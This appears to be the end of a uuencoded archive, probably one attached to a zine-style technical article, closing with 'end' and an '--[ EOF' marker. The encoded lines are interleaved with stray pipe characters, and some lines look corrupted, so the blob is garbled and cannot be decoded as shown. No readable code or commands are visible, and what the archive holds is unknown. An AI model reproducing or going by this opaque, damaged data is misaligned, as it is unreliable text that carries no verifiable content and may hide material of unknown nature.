MX]%869'$(.\W")7]YAUM:<1^%&<%KFKLO#LZ/=NUN\TB6NG3L:!$PD_+]6)/
|
||
|
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
|
||
|
MOL#P(Q?'9^]176Q:4*W2R@BG;K>EO$+9(TNG,,03(N,L7JDH_'Q6U&AXF
|
||
|
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
|
||
|
M:-R1!>)2XP8<Q(7P0EQIWPD%<:-R)!>)2XX8<Q(7T0EQHWXB`N-&YD
|
||
|
M@;C4N#$'<:%Q8PO$I<:=<A`7&I>;&G"-RE=^CYD:O\>$!FX\#G(XR.$@EX-<
|
||
|
M"^1RD,M!/0[J6:`>!_4XR.,@SP)Y'.1Q4)^#^A:HST%]#AIPT,`"#3AHP$$^
|
||
|
M!_D6R.<@GX.&'#2T0$,.&G+0B(-&%FC$02,."C@HL$`!!P4<-.&@B06:<-"$
|
||
|
M@T(."BU0R$$A!T4<%%F@B(,B#HHY*+9`,0?%'#3EH*D%FG(0,S70FD-^P^7)
|
||
|
MXU+C,5,#-QSD6"`N-9[+05QH/-<"<:GQ>AS$A<;K62`N-9['05QH/,\"<:GQ
|
||
|
M^AS$A<;K6R`N-=Z`@[C0>`,+Q*7&\SF("XWG6R`N-=Z0@[C0>$,+Q*7&&W$0
|
||
|
M%QIO9(&XU'@!!W&A\0(+Q*7&FW`0%QIO8H&XU'@A!W&A\4(+Q*7&BSB("XT7
|
||
|
M62`N-5[,05QHO-@"<:GQIAS$A<9CI@:G[,PKO`G932DT>.-QD,-!#@>Y'.1:
|
||
|
M()>#7`[J<5#/`O4XJ,=!'@=Y%LCC((^#^AS4MT!]#NIST("#!A9HP$$##O(Y
|
||
|
MR+=`/@?Y'#3DH*$%&G+0D(-&'#2R0",.&G%0P$&!!0HX*."@"0=-+-"$@R8<
|
||
|
M%')0:(%"#@HY*.*@R`)%'!1Q4,Q!L06*.2CFH"D'32W0E(-*4X.SV$-^4\H3
|
||
|
MW)52@S<>O^$@QP*Y'.1RD,M!K@7J<5"/@WH<U+-`'@=Y'.1QD&>!^AS4YZ`^
|
||
|
M!_4MT("#!APTX*"!!?(YR.<@GX-\"S3DH"$'#3EH:(%&'#3BH!$'C2Q0P$$!
|
||
|
M!P4<%%B@"0=-.&C"01,+%')0R$$A!X46*.*@B(,B#HHL4,Q!,0?%'!1;H"D'
|
||
|
M33EHRD',U.#*3OD*;D)VPX0&;CP.<CC(X2"7@UP+Y'*0RT$]#NI9H!X']3C(
|
||
|
MXR#/`GD<Y'%0GX/Z%JC/07T.&G#0P`(-.&C`03X'^1;(YR"?@X8<-+1`0PX:
|
||
|
M<M"(@T86:,1!(PX*."BP0`$'!1PTX:")!9IPT(2#0@X*+5#(02$'11P46:"(
|
||
|
M@R(.BCDHMD`Q!\4<-.6@J06:<I"4&K4D_^#^V2,ZJ_30_E][_S>%O?SJ'X!Z
|
||
|
MX/R'XP[D^>^>X\)O%S?"=?O>T_[O7^/"X++KR3S&V,CRJ[/7^_$R2H(E?I4%
|
||
|
M.UA+GPZC4*C1+1WZPM_J$Y!"A+-L!UY4/OCXPP\4>_IY`U'YE4<@PD\_-A/I
|
||
|
M3SL"$7ZPB1,Q&OU51WW4"SBC>$0/%PC+(XM3*TTS"YR#C0RH_.UJG2=%,8\W
|
||
|
MU^R<U>S<YJ5:U"^OK"^J]FH#\IJ=6S6[O4Q8)%6YE0)M+4]C<5CESA^ATYZN
|
||
|
MI^OI>KJ>KJ?KZ7JZGJZGZ^EZNIZNI^OI>KJ>KJ?KZ7JZGJZGZ^EZNIZNI^M_
|
||
|
,Z_7_`'E[+ET`\```
|
||
|
`
|
||
|
end
|
||
|
|
||
|
|
||
|
--[ EOF
|